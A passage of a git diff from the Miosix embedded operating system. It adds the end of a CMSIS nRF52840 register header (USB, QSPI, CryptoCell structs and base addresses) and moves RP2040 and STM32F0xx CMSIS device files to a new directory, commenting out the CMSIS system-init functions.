ISOOUT.MAXCNT registers + values, and enables receiving of data on + ISO endpoint */ + __OM uint32_t TASKS_EP0RCVOUT; /*!< (@ 0x0000004C) Allows OUT data stage on control endpoint 0 */ + __OM uint32_t TASKS_EP0STATUS; /*!< (@ 0x00000050) Allows status stage on control endpoint 0 */ + __OM uint32_t TASKS_EP0STALL; /*!< (@ 0x00000054) Stalls data and status stage on control endpoint + 0 */ + __OM uint32_t TASKS_DPDMDRIVE; /*!< (@ 0x00000058) Forces D+ and D- lines into the state defined + in the DPDMVALUE register */ + __OM uint32_t TASKS_DPDMNODRIVE; /*!< (@ 0x0000005C) Stops forcing D+ and D- lines into any state + (USB engine takes control) */ + __IM uint32_t RESERVED1[40]; + __IOM uint32_t EVENTS_USBRESET; /*!< (@ 0x00000100) Signals that a USB reset condition has been detected + on USB lines */ + __IOM uint32_t EVENTS_STARTED; /*!< (@ 0x00000104) Confirms that the EPIN[n].PTR and EPIN[n].MAXCNT, + or EPOUT[n].PTR and EPOUT[n].MAXCNT registers + have been captured on all endpoints reported + in the EPSTATUS register */ + __IOM uint32_t EVENTS_ENDEPIN[8]; /*!< (@ 0x00000108) Description collection: The whole EPIN[n] buffer + has been consumed. The buffer can be accessed + safely by software. */ + __IOM uint32_t EVENTS_EP0DATADONE; /*!< (@ 0x00000128) An acknowledged data transfer has taken place + on the control endpoint */ + __IOM uint32_t EVENTS_ENDISOIN; /*!< (@ 0x0000012C) The whole ISOIN buffer has been consumed. The + buffer can be accessed safely by software. */ + __IOM uint32_t EVENTS_ENDEPOUT[8]; /*!< (@ 0x00000130) Description collection: The whole EPOUT[n] buffer + has been consumed. The buffer can be accessed + safely by software. */ + __IOM uint32_t EVENTS_ENDISOOUT; /*!< (@ 0x00000150) The whole ISOOUT buffer has been consumed. The + buffer can be accessed safely by software. */ + __IOM uint32_t EVENTS_SOF; /*!< (@ 0x00000154) Signals that a SOF (start of frame) condition + has been detected on USB lines */ + __IOM uint32_t EVENTS_USBEVENT; /*!< (@ 0x00000158) An event or an error not covered by specific + events has occurred. Check EVENTCAUSE register + to find the cause. */ + __IOM uint32_t EVENTS_EP0SETUP; /*!< (@ 0x0000015C) A valid SETUP token has been received (and acknowledged) + on the control endpoint */ + __IOM uint32_t EVENTS_EPDATA; /*!< (@ 0x00000160) A data transfer has occurred on a data endpoint, + indicated by the EPDATASTATUS register */ + __IM uint32_t RESERVED2[39]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED3[63]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED4[61]; + __IOM uint32_t EVENTCAUSE; /*!< (@ 0x00000400) Details on what caused the USBEVENT event */ + __IM uint32_t RESERVED5[7]; + __IOM USBD_HALTED_Type HALTED; /*!< (@ 0x00000420) Unspecified */ + __IM uint32_t RESERVED6; + __IOM uint32_t EPSTATUS; /*!< (@ 0x00000468) Provides information on which endpoint's EasyDMA + registers have been captured */ + __IOM uint32_t EPDATASTATUS; /*!< (@ 0x0000046C) Provides information on which endpoint(s) an + acknowledged data transfer has occurred + (EPDATA event) */ + __IM uint32_t USBADDR; /*!< (@ 0x00000470) Device USB address */ + __IM uint32_t RESERVED7[3]; + __IM uint32_t BMREQUESTTYPE; /*!< (@ 0x00000480) SETUP data, byte 0, bmRequestType */ + __IM uint32_t BREQUEST; /*!< (@ 0x00000484) SETUP data, byte 1, bRequest */ + __IM uint32_t WVALUEL; /*!< (@ 0x00000488) SETUP data, byte 2, LSB of wValue */ + __IM uint32_t WVALUEH; /*!< (@ 0x0000048C) SETUP data, byte 3, MSB of wValue */ + __IM uint32_t WINDEXL; /*!< (@ 0x00000490) SETUP data, byte 4, LSB of wIndex */ + __IM uint32_t WINDEXH; /*!< (@ 0x00000494) SETUP data, byte 5, MSB of wIndex */ + __IM uint32_t WLENGTHL; /*!< (@ 0x00000498) SETUP data, byte 6, LSB of wLength */ + __IM uint32_t WLENGTHH; /*!< (@ 0x0000049C) SETUP data, byte 7, MSB of wLength */ + __IOM USBD_SIZE_Type SIZE; /*!< (@ 0x000004A0) Unspecified */ + __IM uint32_t RESERVED8[15]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable USB */ + __IOM uint32_t USBPULLUP; /*!< (@ 0x00000504) Control of the USB pull-up */ + __IOM uint32_t DPDMVALUE; /*!< (@ 0x00000508) State D+ and D- lines will be forced into by + the DPDMDRIVE task. The DPDMNODRIVE task + reverts the control of the lines to MAC + IP (no forcing). */ + __IOM uint32_t DTOGGLE; /*!< (@ 0x0000050C) Data toggle control and status */ + __IOM uint32_t EPINEN; /*!< (@ 0x00000510) Endpoint IN enable */ + __IOM uint32_t EPOUTEN; /*!< (@ 0x00000514) Endpoint OUT enable */ + __OM uint32_t EPSTALL; /*!< (@ 0x00000518) STALL endpoints */ + __IOM uint32_t ISOSPLIT; /*!< (@ 0x0000051C) Controls the split of ISO buffers */ + __IM uint32_t FRAMECNTR; /*!< (@ 0x00000520) Returns the current value of the start of frame + counter */ + __IM uint32_t RESERVED9[2]; + __IOM uint32_t LOWPOWER; /*!< (@ 0x0000052C) Controls USBD peripheral low power mode during + USB suspend */ + __IOM uint32_t ISOINCONFIG; /*!< (@ 0x00000530) Controls the response of the ISO IN endpoint + to an IN token when no data is ready to + be sent */ + __IM uint32_t RESERVED10[51]; + __IOM USBD_EPIN_Type EPIN[8]; /*!< (@ 0x00000600) Unspecified */ + __IOM USBD_ISOIN_Type ISOIN; /*!< (@ 0x000006A0) Unspecified */ + __IM uint32_t RESERVED11[21]; + __IOM USBD_EPOUT_Type EPOUT[8]; /*!< (@ 0x00000700) Unspecified */ + __IOM USBD_ISOOUT_Type ISOOUT; /*!< (@ 0x000007A0) Unspecified */ +} NRF_USBD_Type; /*!< Size = 1964 (0x7ac) */ + + + +/* =========================================================================================================================== */ +/* ================ QSPI ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief External flash interface (QSPI) + */ + +typedef struct { /*!< (@ 0x40029000) QSPI Structure */ + __OM uint32_t TASKS_ACTIVATE; /*!< (@ 0x00000000) Activate QSPI interface */ + __OM uint32_t TASKS_READSTART; /*!< (@ 0x00000004) Start transfer from external flash memory to + internal RAM */ + __OM uint32_t TASKS_WRITESTART; /*!< (@ 0x00000008) Start transfer from internal RAM to external + flash memory */ + __OM uint32_t TASKS_ERASESTART; /*!< (@ 0x0000000C) Start external flash memory erase operation */ + __OM uint32_t TASKS_DEACTIVATE; /*!< (@ 0x00000010) Deactivate QSPI interface */ + __IM uint32_t RESERVED[59]; + __IOM uint32_t EVENTS_READY; /*!< (@ 0x00000100) QSPI peripheral is ready. This event will be + generated as a response to any QSPI task. */ + __IM uint32_t RESERVED1[127]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED2[125]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable QSPI peripheral and acquire the pins selected + in PSELn registers */ + __IOM QSPI_READ_Type READ; /*!< (@ 0x00000504) Unspecified */ + __IOM QSPI_WRITE_Type WRITE; /*!< (@ 0x00000510) Unspecified */ + __IOM QSPI_ERASE_Type ERASE; /*!< (@ 0x0000051C) Unspecified */ + __IOM QSPI_PSEL_Type PSEL; /*!< (@ 0x00000524) Unspecified */ + __IOM uint32_t XIPOFFSET; /*!< (@ 0x00000540) Address offset into the external memory for Execute + in Place operation. */ + __IOM uint32_t IFCONFIG0; /*!< (@ 0x00000544) Interface configuration. */ + __IM uint32_t RESERVED3[46]; + __IOM uint32_t IFCONFIG1; /*!< (@ 0x00000600) Interface configuration. */ + __IM uint32_t STATUS; /*!< (@ 0x00000604) Status register. */ + __IM uint32_t RESERVED4[3]; + __IOM uint32_t DPMDUR; /*!< (@ 0x00000614) Set the duration required to enter/exit deep + power-down mode (DPM). */ + __IM uint32_t RESERVED5[3]; + __IOM uint32_t ADDRCONF; /*!< (@ 0x00000624) Extended address configuration. */ + __IM uint32_t RESERVED6[3]; + __IOM uint32_t CINSTRCONF; /*!< (@ 0x00000634) Custom instruction configuration register. */ + __IOM uint32_t CINSTRDAT0; /*!< (@ 0x00000638) Custom instruction data register 0. */ + __IOM uint32_t CINSTRDAT1; /*!< (@ 0x0000063C) Custom instruction data register 1. */ + __IOM uint32_t IFTIMING; /*!< (@ 0x00000640) SPI interface timing. */ +} NRF_QSPI_Type; /*!< Size = 1604 (0x644) */ + + + +/* =========================================================================================================================== */ +/* ================ CC_HOST_RGF ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief CRYPTOCELL HOST_RGF interface (CC_HOST_RGF) + */ + +typedef struct { /*!< (@ 0x5002A000) CC_HOST_RGF Structure */ + __IM uint32_t RESERVED[1678]; + __IOM uint32_t HOST_CRYPTOKEY_SEL; /*!< (@ 0x00001A38) AES hardware key select */ + __IM uint32_t RESERVED1[4]; + __IOM uint32_t HOST_IOT_KPRTL_LOCK; /*!< (@ 0x00001A4C) This write-once register is the K_PRTL lock register. + When this register is set, K_PRTL cannot + be used and a zeroed key will be used instead. + The value of this register is saved in the + CRYPTOCELL AO power domain. */ + __IOM uint32_t HOST_IOT_KDR0; /*!< (@ 0x00001A50) This register holds bits 31:0 of K_DR. The value + of this register is saved in the CRYPTOCELL + AO power domain. Reading from this address + returns the K_DR valid status indicating + if K_DR is successfully retained. */ + __OM uint32_t HOST_IOT_KDR1; /*!< (@ 0x00001A54) This register holds bits 63:32 of K_DR. The value + of this register is saved in the CRYPTOCELL + AO power domain. */ + __OM uint32_t HOST_IOT_KDR2; /*!< (@ 0x00001A58) This register holds bits 95:64 of K_DR. The value + of this register is saved in the CRYPTOCELL + AO power domain. */ + __OM uint32_t HOST_IOT_KDR3; /*!< (@ 0x00001A5C) This register holds bits 127:96 of K_DR. The + value of this register is saved in the CRYPTOCELL + AO power domain. */ + __IOM uint32_t HOST_IOT_LCS; /*!< (@ 0x00001A60) Controls lifecycle state (LCS) for CRYPTOCELL + subsystem */ +} NRF_CC_HOST_RGF_Type; /*!< Size = 6756 (0x1a64) */ + + + +/* =========================================================================================================================== */ +/* ================ CRYPTOCELL ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief ARM TrustZone CryptoCell register interface (CRYPTOCELL) + */ + +typedef struct { /*!< (@ 0x5002A000) CRYPTOCELL Structure */ + __IM uint32_t RESERVED[320]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable CRYPTOCELL subsystem */ +} NRF_CRYPTOCELL_Type; /*!< Size = 1284 (0x504) */ + + +/** @} */ /* End of group Device_Peripheral_peripherals */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup Device_Peripheral_peripheralAddr + * @{ + */ + +#define NRF_FICR_BASE 0x10000000UL +#define NRF_UICR_BASE 0x10001000UL +#define NRF_APPROTECT_BASE 0x40000000UL +#define NRF_CLOCK_BASE 0x40000000UL +#define NRF_POWER_BASE 0x40000000UL +#define NRF_P0_BASE 0x50000000UL +#define NRF_P1_BASE 0x50000300UL +#define NRF_RADIO_BASE 0x40001000UL +#define NRF_UART0_BASE 0x40002000UL +#define NRF_UARTE0_BASE 0x40002000UL +#define NRF_SPI0_BASE 0x40003000UL +#define NRF_SPIM0_BASE 0x40003000UL +#define NRF_SPIS0_BASE 0x40003000UL +#define NRF_TWI0_BASE 0x40003000UL +#define NRF_TWIM0_BASE 0x40003000UL +#define NRF_TWIS0_BASE 0x40003000UL +#define NRF_SPI1_BASE 0x40004000UL +#define NRF_SPIM1_BASE 0x40004000UL +#define NRF_SPIS1_BASE 0x40004000UL +#define NRF_TWI1_BASE 0x40004000UL +#define NRF_TWIM1_BASE 0x40004000UL +#define NRF_TWIS1_BASE 0x40004000UL +#define NRF_NFCT_BASE 0x40005000UL +#define NRF_GPIOTE_BASE 0x40006000UL +#define NRF_SAADC_BASE 0x40007000UL +#define NRF_TIMER0_BASE 0x40008000UL +#define NRF_TIMER1_BASE 0x40009000UL +#define NRF_TIMER2_BASE 0x4000A000UL +#define NRF_RTC0_BASE 0x4000B000UL +#define NRF_TEMP_BASE 0x4000C000UL +#define NRF_RNG_BASE 0x4000D000UL +#define NRF_ECB_BASE 0x4000E000UL +#define NRF_AAR_BASE 0x4000F000UL +#define NRF_CCM_BASE 0x4000F000UL +#define NRF_WDT_BASE 0x40010000UL +#define NRF_RTC1_BASE 0x40011000UL +#define NRF_QDEC_BASE 0x40012000UL +#define NRF_COMP_BASE 0x40013000UL +#define NRF_LPCOMP_BASE 0x40013000UL +#define NRF_EGU0_BASE 0x40014000UL +#define NRF_SWI0_BASE 0x40014000UL +#define NRF_EGU1_BASE 0x40015000UL +#define NRF_SWI1_BASE 0x40015000UL +#define NRF_EGU2_BASE 0x40016000UL +#define NRF_SWI2_BASE 0x40016000UL +#define NRF_EGU3_BASE 0x40017000UL +#define NRF_SWI3_BASE 0x40017000UL +#define NRF_EGU4_BASE 0x40018000UL +#define NRF_SWI4_BASE 0x40018000UL +#define NRF_EGU5_BASE 0x40019000UL +#define NRF_SWI5_BASE 0x40019000UL +#define NRF_TIMER3_BASE 0x4001A000UL +#define NRF_TIMER4_BASE 0x4001B000UL +#define NRF_PWM0_BASE 0x4001C000UL +#define NRF_PDM_BASE 0x4001D000UL +#define NRF_ACL_BASE 0x4001E000UL +#define NRF_NVMC_BASE 0x4001E000UL +#define NRF_PPI_BASE 0x4001F000UL +#define NRF_MWU_BASE 0x40020000UL +#define NRF_PWM1_BASE 0x40021000UL +#define NRF_PWM2_BASE 0x40022000UL +#define NRF_SPI2_BASE 0x40023000UL +#define NRF_SPIM2_BASE 0x40023000UL +#define NRF_SPIS2_BASE 0x40023000UL +#define NRF_RTC2_BASE 0x40024000UL +#define NRF_I2S_BASE 0x40025000UL +#define NRF_FPU_BASE 0x40026000UL +#define NRF_USBD_BASE 0x40027000UL +#define NRF_UARTE1_BASE 0x40028000UL +#define NRF_QSPI_BASE 0x40029000UL +#define NRF_CC_HOST_RGF_BASE 0x5002A000UL +#define NRF_CRYPTOCELL_BASE 0x5002A000UL +#define NRF_PWM3_BASE 0x4002D000UL +#define NRF_SPIM3_BASE 0x4002F000UL + +/** @} */ /* End of group Device_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup Device_Peripheral_declaration + * @{ + */ + +#define NRF_FICR ((NRF_FICR_Type*) NRF_FICR_BASE) +#define NRF_UICR ((NRF_UICR_Type*) NRF_UICR_BASE) +#define NRF_APPROTECT ((NRF_APPROTECT_Type*) NRF_APPROTECT_BASE) +#define NRF_CLOCK ((NRF_CLOCK_Type*) NRF_CLOCK_BASE) +#define NRF_POWER ((NRF_POWER_Type*) NRF_POWER_BASE) +#define NRF_P0 ((NRF_GPIO_Type*) NRF_P0_BASE) +#define NRF_P1 ((NRF_GPIO_Type*) NRF_P1_BASE) +#define NRF_RADIO ((NRF_RADIO_Type*) NRF_RADIO_BASE) +#define NRF_UART0 ((NRF_UART_Type*) NRF_UART0_BASE) +#define NRF_UARTE0 ((NRF_UARTE_Type*) NRF_UARTE0_BASE) +#define NRF_SPI0 ((NRF_SPI_Type*) NRF_SPI0_BASE) +#define NRF_SPIM0 ((NRF_SPIM_Type*) NRF_SPIM0_BASE) +#define NRF_SPIS0 ((NRF_SPIS_Type*) NRF_SPIS0_BASE) +#define NRF_TWI0 ((NRF_TWI_Type*) NRF_TWI0_BASE) +#define NRF_TWIM0 ((NRF_TWIM_Type*) NRF_TWIM0_BASE) +#define NRF_TWIS0 ((NRF_TWIS_Type*) NRF_TWIS0_BASE) +#define NRF_SPI1 ((NRF_SPI_Type*) NRF_SPI1_BASE) +#define NRF_SPIM1 ((NRF_SPIM_Type*) NRF_SPIM1_BASE) +#define NRF_SPIS1 ((NRF_SPIS_Type*) NRF_SPIS1_BASE) +#define NRF_TWI1 ((NRF_TWI_Type*) NRF_TWI1_BASE) +#define NRF_TWIM1 ((NRF_TWIM_Type*) NRF_TWIM1_BASE) +#define NRF_TWIS1 ((NRF_TWIS_Type*) NRF_TWIS1_BASE) +#define NRF_NFCT ((NRF_NFCT_Type*) NRF_NFCT_BASE) +#define NRF_GPIOTE ((NRF_GPIOTE_Type*) NRF_GPIOTE_BASE) +#define NRF_SAADC ((NRF_SAADC_Type*) NRF_SAADC_BASE) +#define NRF_TIMER0 ((NRF_TIMER_Type*) NRF_TIMER0_BASE) +#define NRF_TIMER1 ((NRF_TIMER_Type*) NRF_TIMER1_BASE) +#define NRF_TIMER2 ((NRF_TIMER_Type*) NRF_TIMER2_BASE) +#define NRF_RTC0 ((NRF_RTC_Type*) NRF_RTC0_BASE) +#define NRF_TEMP ((NRF_TEMP_Type*) NRF_TEMP_BASE) +#define NRF_RNG ((NRF_RNG_Type*) NRF_RNG_BASE) +#define NRF_ECB ((NRF_ECB_Type*) NRF_ECB_BASE) +#define NRF_AAR ((NRF_AAR_Type*) NRF_AAR_BASE) +#define NRF_CCM ((NRF_CCM_Type*) NRF_CCM_BASE) +#define NRF_WDT ((NRF_WDT_Type*) NRF_WDT_BASE) +#define NRF_RTC1 ((NRF_RTC_Type*) NRF_RTC1_BASE) +#define NRF_QDEC ((NRF_QDEC_Type*) NRF_QDEC_BASE) +#define NRF_COMP ((NRF_COMP_Type*) NRF_COMP_BASE) +#define NRF_LPCOMP ((NRF_LPCOMP_Type*) NRF_LPCOMP_BASE) +#define NRF_EGU0 ((NRF_EGU_Type*) NRF_EGU0_BASE) +#define NRF_SWI0 ((NRF_SWI_Type*) NRF_SWI0_BASE) +#define NRF_EGU1 ((NRF_EGU_Type*) NRF_EGU1_BASE) +#define NRF_SWI1 ((NRF_SWI_Type*) NRF_SWI1_BASE) +#define NRF_EGU2 ((NRF_EGU_Type*) NRF_EGU2_BASE) +#define NRF_SWI2 ((NRF_SWI_Type*) NRF_SWI2_BASE) +#define NRF_EGU3 ((NRF_EGU_Type*) NRF_EGU3_BASE) +#define NRF_SWI3 ((NRF_SWI_Type*) NRF_SWI3_BASE) +#define NRF_EGU4 ((NRF_EGU_Type*) NRF_EGU4_BASE) +#define NRF_SWI4 ((NRF_SWI_Type*) NRF_SWI4_BASE) +#define NRF_EGU5 ((NRF_EGU_Type*) NRF_EGU5_BASE) +#define NRF_SWI5 ((NRF_SWI_Type*) NRF_SWI5_BASE) +#define NRF_TIMER3 ((NRF_TIMER_Type*) NRF_TIMER3_BASE) +#define NRF_TIMER4 ((NRF_TIMER_Type*) NRF_TIMER4_BASE) +#define NRF_PWM0 ((NRF_PWM_Type*) NRF_PWM0_BASE) +#define NRF_PDM ((NRF_PDM_Type*) NRF_PDM_BASE) +#define NRF_ACL ((NRF_ACL_Type*) NRF_ACL_BASE) +#define NRF_NVMC ((NRF_NVMC_Type*) NRF_NVMC_BASE) +#define NRF_PPI ((NRF_PPI_Type*) NRF_PPI_BASE) +#define NRF_MWU ((NRF_MWU_Type*) NRF_MWU_BASE) +#define NRF_PWM1 ((NRF_PWM_Type*) NRF_PWM1_BASE) +#define NRF_PWM2 ((NRF_PWM_Type*) NRF_PWM2_BASE) +#define NRF_SPI2 ((NRF_SPI_Type*) NRF_SPI2_BASE) +#define NRF_SPIM2 ((NRF_SPIM_Type*) NRF_SPIM2_BASE) +#define NRF_SPIS2 ((NRF_SPIS_Type*) NRF_SPIS2_BASE) +#define NRF_RTC2 ((NRF_RTC_Type*) NRF_RTC2_BASE) +#define NRF_I2S ((NRF_I2S_Type*) NRF_I2S_BASE) +#define NRF_FPU ((NRF_FPU_Type*) NRF_FPU_BASE) +#define NRF_USBD ((NRF_USBD_Type*) NRF_USBD_BASE) +#define NRF_UARTE1 ((NRF_UARTE_Type*) NRF_UARTE1_BASE) +#define NRF_QSPI ((NRF_QSPI_Type*) NRF_QSPI_BASE) +#define NRF_CC_HOST_RGF ((NRF_CC_HOST_RGF_Type*) NRF_CC_HOST_RGF_BASE) +#define NRF_CRYPTOCELL ((NRF_CRYPTOCELL_Type*) NRF_CRYPTOCELL_BASE) +#define NRF_PWM3 ((NRF_PWM_Type*) NRF_PWM3_BASE) +#define NRF_SPIM3 ((NRF_SPIM_Type*) NRF_SPIM3_BASE) + +/** @} */ /* End of group Device_Peripheral_declaration */ + + +/* ========================================= End of section using anonymous unions ========================================= */ +#if defined (__CC_ARM) + #pragma pop +#elif defined (__ICCARM__) + /* leave anonymous unions enabled */ +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#endif + + +#ifdef __cplusplus +} +#endif + +#endif /* NRF52840_H */ + + +/** @} */ /* End of group nrf52840 */ + +/** @} */ /* End of group Nordic Semiconductor */ diff --git a/miosix/arch/common/CMSIS/Device/RaspberryPi/RP2040/Include/RP2040.h b/miosix/arch/CMSIS/Device/RaspberryPi/RP2040/Include/RP2040.h similarity index 98% rename from miosix/arch/common/CMSIS/Device/RaspberryPi/RP2040/Include/RP2040.h rename to miosix/arch/CMSIS/Device/RaspberryPi/RP2040/Include/RP2040.h index 8ff1e4f97..069dbb3b7 100644 --- a/miosix/arch/common/CMSIS/Device/RaspberryPi/RP2040/Include/RP2040.h +++ b/miosix/arch/CMSIS/Device/RaspberryPi/RP2040/Include/RP2040.h @@ -72,7 +72,8 @@ typedef enum ADC_IRQ_FIFO_IRQn = 22, /*!< 22 ADC_IRQ_FIFO */ I2C0_IRQ_IRQn = 23, /*!< 23 I2C0_IRQ */ I2C1_IRQ_IRQn = 24, /*!< 24 I2C1_IRQ */ - RTC_IRQ_IRQn = 25 /*!< 25 RTC_IRQ */ + RTC_IRQ_IRQn = 25, /*!< 25 RTC_IRQ + */ } IRQn_Type; /* =========================================================================================================================== */ diff --git a/miosix/arch/common/CMSIS/Device/RaspberryPi/RP2040/Include/system_RP2040.h b/miosix/arch/CMSIS/Device/RaspberryPi/RP2040/Include/system_RP2040.h similarity index 89% rename from miosix/arch/common/CMSIS/Device/RaspberryPi/RP2040/Include/system_RP2040.h rename to miosix/arch/CMSIS/Device/RaspberryPi/RP2040/Include/system_RP2040.h index 30881ccc6..d49fd042e 100644 --- a/miosix/arch/common/CMSIS/Device/RaspberryPi/RP2040/Include/system_RP2040.h +++ b/miosix/arch/CMSIS/Device/RaspberryPi/RP2040/Include/system_RP2040.h @@ -36,7 +36,8 @@ extern "C" { /** \brief Exception / Interrupt Handler Function Prototype */ -typedef void(*VECTOR_TABLE_Type)(void); +//Miosix has its own interrupt subsystem and doesn't use the CMSIS approach +//typedef void(*VECTOR_TABLE_Type)(void); /** \brief System Clock Frequency (Core Clock) @@ -48,7 +49,7 @@ extern uint32_t SystemCoreClock; Initialize the System and update the SystemCoreClock variable. */ -extern void SystemInit (void); +//extern void SystemInit (void); /** @@ -56,7 +57,7 @@ extern void SystemInit (void); Updates the SystemCoreClock with current core Clock retrieved from cpu registers. */ -extern void SystemCoreClockUpdate (void); +//extern void SystemCoreClockUpdate (void); #ifdef __cplusplus } diff --git a/miosix/arch/common/CMSIS/Device/RaspberryPi/RP2040/Source/system_RP2040.c b/miosix/arch/CMSIS/Device/RaspberryPi/RP2040/Source/system_RP2040.c similarity index 94% rename from miosix/arch/common/CMSIS/Device/RaspberryPi/RP2040/Source/system_RP2040.c rename to miosix/arch/CMSIS/Device/RaspberryPi/RP2040/Source/system_RP2040.c index aa1810949..0d8b49663 100644 --- a/miosix/arch/common/CMSIS/Device/RaspberryPi/RP2040/Source/system_RP2040.c +++ b/miosix/arch/CMSIS/Device/RaspberryPi/RP2040/Source/system_RP2040.c @@ -37,13 +37,13 @@ uint32_t SystemCoreClock; /* System Clock Frequency (Core Clock)*/ /*--------------------------------------------------------------------------- System Core Clock function *---------------------------------------------------------------------------*/ -void SystemCoreClockUpdate (void) -{ -} +// void SystemCoreClockUpdate (void) +// { +// } /*--------------------------------------------------------------------------- System initialization function *---------------------------------------------------------------------------*/ -void __attribute__((constructor)) SystemInit (void) -{ -} +// void __attribute__((constructor)) SystemInit (void) +// { +// } diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f030x6.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f030x6.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f030x6.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f030x6.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f030x8.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f030x8.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f030x8.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f030x8.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f030xc.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f030xc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f030xc.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f030xc.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f031x6.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f031x6.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f031x6.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f031x6.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f038xx.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f038xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f038xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f038xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f042x6.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f042x6.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f042x6.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f042x6.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f048xx.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f048xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f048xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f048xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f051x8.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f051x8.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f051x8.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f051x8.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f058xx.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f058xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f058xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f058xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f070x6.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f070x6.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f070x6.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f070x6.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f070xb.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f070xb.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f070xb.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f070xb.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f071xb.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f071xb.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f071xb.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f071xb.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f072xb.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f072xb.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f072xb.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f072xb.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f078xx.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f078xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f078xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f078xx.h diff --git 